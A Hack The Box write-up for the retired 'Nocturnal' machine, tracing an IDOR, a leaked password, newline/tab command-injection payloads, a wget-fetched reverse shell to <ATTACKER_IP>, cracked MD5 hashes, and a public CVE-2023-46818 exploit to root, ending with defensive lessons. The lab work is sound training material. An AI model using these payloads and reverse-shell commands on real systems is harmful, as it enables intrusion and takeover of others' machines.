root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat nocturnal.md
// writeups

Nocturnal

12 Apr 2025 · 12 min read
Nocturnal - maquina de Hack The Box

Executive summary — Nocturnal is an Easy Linux box with a long, very realistic chain, a great example of how a "minor" web bug ends in full compromise. An IDOR in view.php lets us enumerate users and read other accounts' files with zero authorisation checks; from one of amanda's .odt documents we extract her password and reach the admin panel. There, an incomplete character filter in the backup function —it blocks ; & | $ and the space, but not the newline (%0a) or the tab (%09)— lets us inject commands and get a shell as www-data. A local SQLite database exposes tobias' MD5 hash; after cracking it we find he reuses the same password on ISPConfig, a panel that only listens on 127.0.0.1:8080. With those credentials we exploit CVE-2023-46818 (PHP code injection in the language editor) to get a root shell. Path: IDOR → leaked credentials → command injection → SQLite → password reuse → CVE-2023-46818 → root.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.10.11.64

Attack map

[80] nocturnal.htb → register + upload a file → view.php?username=&file= pattern
   │  IDOR in view.php → enumerate users and read others' files
   ▼
[amanda]  leaked privacy.odt → her password → admin.php panel
   ▼
[SHELL]  backup with an incomplete filter (misses %0a/%09) → command injection → www-data
   │  local SQLite → tobias' MD5 hash → cracked → su tobias  (user.txt)
   ▼
[pivot]  tobias' password reused → SSH tunnel → ISPConfig on 127.0.0.1:8080
   ▼
[ROOT]  CVE-2023-46818 (ISPConfig code injection)  (root.txt)

1. Reconnaissance

Before touching anything we enumerate services, and as soon as we see the site redirects to a domain, we resolve it locally so we see exactly what the server sees.

nmap -p- --min-rate 10000 10.10.11.64
22/tcp open  ssh
80/tcp open  http
nmap -p22,80 -sCV 10.10.11.64

Relevant results: OpenSSH 8.2p1, nginx 1.18.0, and a redirect to http://nocturnal.htb/. We add the host and check it loads:

echo "10.10.11.64 nocturnal.htb" | sudo tee -a /etc/hosts
curl -I http://nocturnal.htb

The site is a PHP-based file storage/sharing app. A feroxbuster run confirms some interesting paths:

feroxbuster -u http://nocturnal.htb -x php
/admin.php
/dashboard.php
/view.php
/backups/
/uploads*   (blocked)

2. Registration and finding the IDOR in view.php

To see how the app handles files we need our own account. We register at /register.php, upload a test file from the dashboard, and look at the URL it generates for the download: that pattern is the key to the whole box.

echo "test" > test.doc   # test file to upload from the dashboard
GET /view.php?username=robert&file=test.doc HTTP/1.1
Host: nocturnal.htb
Cookie: PHPSESSID=...

We send that request to Burp Repeater and play with the username parameter. The app responds differently depending on the case, and that's the bug: it trusts the parameter without checking the requested file belongs to the logged-in user. That's an IDOR (Insecure Direct Object Reference).

# username that doesn't exist:
User not found

# username that exists (with or without that file) → lists ALL of their files:
File does not exist

With that response difference we enumerate valid users with ffuf:

ffuf -u "http://nocturnal.htb/view.php?username=FUZZ&file=test.doc" \
  -w /usr/share/seclists/Usernames/Names/names.txt \
  -b "PHPSESSID=<SESSION_COOKIE>" \
  -fr "User not found"
admin
amanda
tobias

3. Leaked credentials — amanda's privacy.odt

The IDOR doesn't just enumerate users: asking for their files by name, view.php lets us list and download them without owning them. In amanda's account there's a suspiciously named document.

http://nocturnal.htb/view.php?username=amanda&file=test.doc   # lists her files
curl 'http://nocturnal.htb/view.php?username=amanda&file=privacy.odt' -o privacy.odt

A .odt file is just a ZIP with XML inside, so we extract it instead of opening it in LibreOffice:

unzip privacy.odt
cat content.xml

The document contains amanda's password in plaintext: arHkG7HAI68X8s1J. With amanda / arHkG7HAI68X8s1J we log into /login.php and, unlike our test account, amanda has access to the admin panel (admin.php).

4. Command injection in the backup → shell as www-data

The admin panel generates password-protected backups. The code (visible after compromise) concatenates that password directly into a shell command:

$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";
proc_open($command, ...);

The app filters ; & | $ and the space, but not the newline (%0a) or the tab (%09), which in bash separate commands and arguments just as well. We test with an id in the intercepted backup request's password field:

password=test%0abash%09-c%09"id"&backup=
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Command execution confirmed. We spin up an HTTP server and a listener, and make the target download and run a reverse-shell script:

cat > rev.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1
EOF
chmod +x rev.sh
python3 -m http.server 8000
nc -lvnp 4444   # in another terminal
password=test%0abash%09-c%09"wget%09http://<ATTACKER_IP>:8000/rev.sh%09-O%09/tmp/r.sh"%0abash%09/tmp/r.sh&backup=

The HTTP server logs the request for rev.sh and the listener catches the connection: shell as www-data.

5. Post-exploitation — SQLite → tobias (user.txt)

As www-data we enumerate the box. Among the accounts with an interactive shell are root, tobias, ispapps, and ispconfig —that last one already hints at an ISPConfig install. Inside /var/www, next to the site itself, there's a local database:

cd /var/www
ls
html
ispconfig
nocturnal.htb
nocturnal_database
php-fcgi-scripts
cd nocturnal_database
sqlite3 nocturnal_database.db
.tables
select * from users;
1|admin|d725aeba143f575736b07e045d8ceebb
2|amanda|df8b20aa0c935023f99ea58358fb63c4
4|tobias|55c82b1ccd55ab219b3b109b07d5061d
6|kavi|f38cde1654b39fea2bd4f72f1ae4cdda
7|e0Al5|101ad4543a96a7fd84908fd0d802e7db
8|robert|81dc9bdb52d04dc20036dbd8313ed055

These are unsalted MD5 hashes, trivial to crack (CrackStation, hashcat -m 0 against rockyou.txt...). tobias' hash (55c82b1ccd55ab219b3b109b07d5061d) cracks to slowmotionapocalypse:

su tobias   # password: slowmotionapocalypse
whoami   # tobias
cd /home/tobias && cat user.txt

6. Pivoting to ISPConfig over an SSH tunnel

As tobias we check internal ports: there's a service listening only on loopback, invisible from outside the box.

netstat -tnl

127.0.0.1:8080 shows up in LISTEN. To reach it we tunnel that port over SSH from our Kali box (not from the target's shell):

ssh -L 9001:127.0.0.1:8080 tobias@nocturnal.htb   # password: slowmotionapocalypse

Opening http://127.0.0.1:9001 in the browser shows the ISPConfig panel. We try tobias' reused password, and it logs in:

username: admin
password: slowmotionapocalypse

7. Privilege escalation — CVE-2023-46818

Doing this by hand in Burp is tedious (expiring CSRF tokens, internal paths of the language editor...), so we use the public PoC for CVE-2023-46818: a PHP code injection in ISPConfig's language editor that, with admin credentials, writes a webshell and runs commands. Since ISPConfig runs with very high privileges, the resulting shell is root.

git clone https://github.com/ajdumanhug/CVE-2023-46818.git
cd CVE-2023-46818
pip install requests
python3 CVE-2023-46818.py http://127.0.0.1:9001 admin slowmotionapocalypse
[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Login successful!
[+] Fetching CSRF tokens...
[+] CSRF ID: ...
[+] CSRF Key: ...
[+] Injecting shell payload...
[+] Shell written to: http://127.0.0.1:9001/admin/sh.php
[+] Launching shell...

ispconfig-shell#
id
# uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt

Optionally, this exploit shell can be used to drop a public SSH key into /root/.ssh/authorized_keys for a more comfortable, stable root SSH session afterwards. System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
Infoview.phpIDOR (username parameter not authorisation-checked)Enumerate users and read others' files
Infoprivacy.odt (amanda)Plaintext credential inside a documentamanda's valid password → admin panel
RCEAdmin panel / backupCommand injection (incomplete blacklist: misses %0a/%09)Shell as www-data
LateralLocal SQLite databaseUnsalted MD5 hashes stored in the cleartobias' hash → cracked password
LateralCredential reusetobias' password also valid for SSH and ISPConfig adminAccess to the ISPConfig panel
PrivEscISPConfigCVE-2023-46818 (PHP code injection in the language editor)Root

Lessons learned

  • IDOR: always check authorisation, not just authentication, before serving a resource identified by a user-controlled parameter.
  • Character blacklists can almost always be bypassed: here they filtered ; & | $ and the space but forgot the newline and the tab. Use whitelists, or better, avoid building shell commands from user input.
  • Don't store passwords in plaintext inside documents, and don't reuse the same password across the OS, the database, and third-party admin panels.
  • Unsalted MD5 hashes crack in seconds: use bcrypt, scrypt, or argon2 for credentials.
  • Keep admin panels patched: CVE-2023-46818 allows RCE as root on ISPConfig with just admin credentials; update to the fixed version.